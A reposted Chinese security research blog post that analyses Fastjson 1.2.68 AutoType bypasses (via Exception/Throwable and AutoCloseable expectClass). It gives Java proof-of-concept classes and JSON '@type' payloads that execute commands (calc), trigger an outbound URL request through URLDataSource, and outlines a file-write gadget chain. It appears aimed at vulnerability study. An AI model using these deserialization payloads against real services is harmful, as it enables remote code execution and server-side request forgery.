码迷,mamicode.com
首页 > Web开发 > 详细

Fastjson1.2.68 绕Autotype的一点总结

时间:2020-08-15 22:35:25      阅读:93      评论:0      收藏:0      [点我收藏+]

标签:halo   https   字符   expect   wing   window   参数   input   匹配   

这篇文章主要总结学习目前网上关于1.2.68下绕过Autotype的一些方法用到的思路。

前置知识:

checkautotype因为是对要进行反序列化的类进行检测的方法

技术图片

 

所以我们只需要让其返回Class类型的实例即可

一般会有以下几种情况通过验证:

1.autoTypeCheckHandlers不为null,通过此种方式来返回class

技术图片

2.缓存mapping中的类:

从一处取的,在二处返回

技术图片

其中在TypeUtils的addMappings中放入了一些基础类,也就是默认可以反序列化的相关类

 技术图片

3.不在黑名单,但在白名单之中的类

技术图片

4.使用了jsonType注解的类

技术图片

 

 

5.@type反序列化时执行了expectclass,指定了期望类

在判断为True时exceptclass不能为以下几种类型

技术图片

并且反序列化的类不能继承或者实现Classloader、DataSource、RowSet

技术图片

绕过方法1:

那么如果没有开AutoType,并且如果存在expectclass,即使要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类

第一种:

通过Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.Exception\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"calc\"\n" +
               "        }";
        JSON.parseObject(a);
    }
}

其中@type第一个类作为clazz(A),二个作为expectClass(B),这种绕过方式是因为Exception.class在parseConfig的mapping中,因此每到checkAutoType时就已经返回了clazz,那么接着为该类选择反序列化解析器,匹配到Throwable.class。

技术图片

 接着在反序列化第一个type指定的类时,此时将该类作为exClass

 技术图片

接着就能获取到要反序列化的类名exClassName传入checkAutoType,此时传入的第二个参数为Throable.class也为Exception.class的接口

技术图片

技术图片

 

那么在checkAutoType中第二个type处的类名将作为要校验的类名,Throwable将作为期望类

技术图片

 

在这一步expectClassFlag置为True,此时只要反序列化的类不在黑名单中,即使不在白名单中,通过下图就能调用TypeUtils.loadClass进行加载

技术图片

 

 并且又因为有接下来的1处和2处的限制,那么要找到jndi这种的类还得实现了Throwable接口的,就很难,这也是比较鸡肋的一点。

技术图片

 返回clazz后,将通过createException实例化exClass,此时exClass就是返回的第二个type处的类,接着继续解析json将值放入otherValues,然后setvalue放入ex

技术图片

技术图片

 

此时将通过反射为ex对象赋值,其中method在解析

技术图片

 

那么最终get的调用在完成赋值以后,将通过调用异常类的所有get方法包括接口以及自身定义的

技术图片

 

比如调用getMessage时的调用栈如下所示:

技术图片

绕过方法2:

 y4er师傅博客中写到通过找checkAutoType的调用,看哪里传入的expectClass不为null,那么再看其逻辑,那么下面四个框,只有第二和第四,第四个是绕过点1,那么第二个绕过点就是点1

 技术图片

 那么根据type指定的类在选择反序列化解析器时,AutoCloseable类使用的是else分支的javabeanDesearializer

技术图片

 

此时函数调用栈如下:

技术图片

那么因为AutoCloseable不在黑名单中并且其在mapping中,因此就可以返回clazz进行加载,因此通过它就能实现反序列化

比如:

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

为什么jndi的gadget不好找?因为常见的jndi的gadget都继承自 DataSource 和 RowSet,所以反序列化的类过不了对return clazz的最后的验证。

浅蓝师傅还分享了另一个例子:

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}

这个例子中setDataSource的入口参数需要通过@type来赋值,那么URL这个类是在白名单中的,所以能够正常赋值,然而在setDataSource中存在URLDataSource赋值给this.dataSource,那么这样赋值是不经过checkAutoType的逻辑的

因为对于JSON.parseObject来说,在调用parse解析输入端json字符串为obj后,此时要调用一次toJSON转为JSONObject(此时已经完成了setter的调用赋值)

技术图片

 

那么在拿到testfj1这个类的成员变量以后,因此在JSON.toJSON中取得的反序列化的类testfj1的几个gettter的filed信息,包括从Throwable继承的4个getter和自身的getter共5个

 

技术图片

 

 那么此时要放入到JSONObject中,那么对于其中的每个键和值都将put一次,那么对于其中的value,又要调用一次tojson(value)

技术图片

 

那么对于赋值给datasource的URLDataSource而言,也要走一次tojson,因此此时要调用URLDataSource的所有getter

技术图片

那么根据JavaBeanSerializer中的sortedGetters将循环放入map中,一共有五个filed(每个filedinfo都有一个getter与之对应),那么对应要调用其5个get方法获取其值(用反射来实现)

技术图片

 

 技术图片

那么对于inputStream,要调用URLDataSource的getInputStream

技术图片

 

 那么在getInputStream中此时将触发请求

技术图片

此时的函数调用栈如下图所示:

 技术图片

 

除了getInputStream,getContentType也能触发

 技术图片

文件操作相关gadget:

技术图片

浅蓝师傅的文章中提到找文件操作相关的gadget的思路:

1.通过set或构造方法指定文件路径的outputStream

2.通过set或者构造方法能够传入字节数组,可以传入outputStream,并且存在write将传入的字节数组写入到传入的outputStream

3.通过set get tostring能够调用flush完成数据写出

比如:

rmb122(学弟太强了)的例子,主要通过fastjson反序列化调用无参构造函数然赋值指定文件的outputStream,再找能够传入这个包含文件路径的stream的类,并能够传入字节数组,然后调用write向这个输出流写入字节数组的,他找的是

java.util.zip.InflaterOutputStream,然后通过最外层的marshalOutputStream来调用write完成写入文件

技术图片

 

 在parseobject解析到MarshalOutputStream后要反射通过构造器来实例化得到该类的对象,因此此时走到super(out),out中存储着inflaterOutputstream用来写数据

技术图片

 

在drain总将调用this.out.write来写数据

 技术图片

 

而inflater中out就是fileoutstream,存储输出路径

 技术图片

调用栈如下图所示:

技术图片

参考:

https://b1ue.cn/archives/348.html

https://b1ue.cn/archives/382.html

https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

Fastjson1.2.68 绕Autotype的一点总结

标签:halo   https   字符   expect   wing   window   参数   input   匹配   

原文地址:https://www.cnblogs.com/tr1ple/p/13489260.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!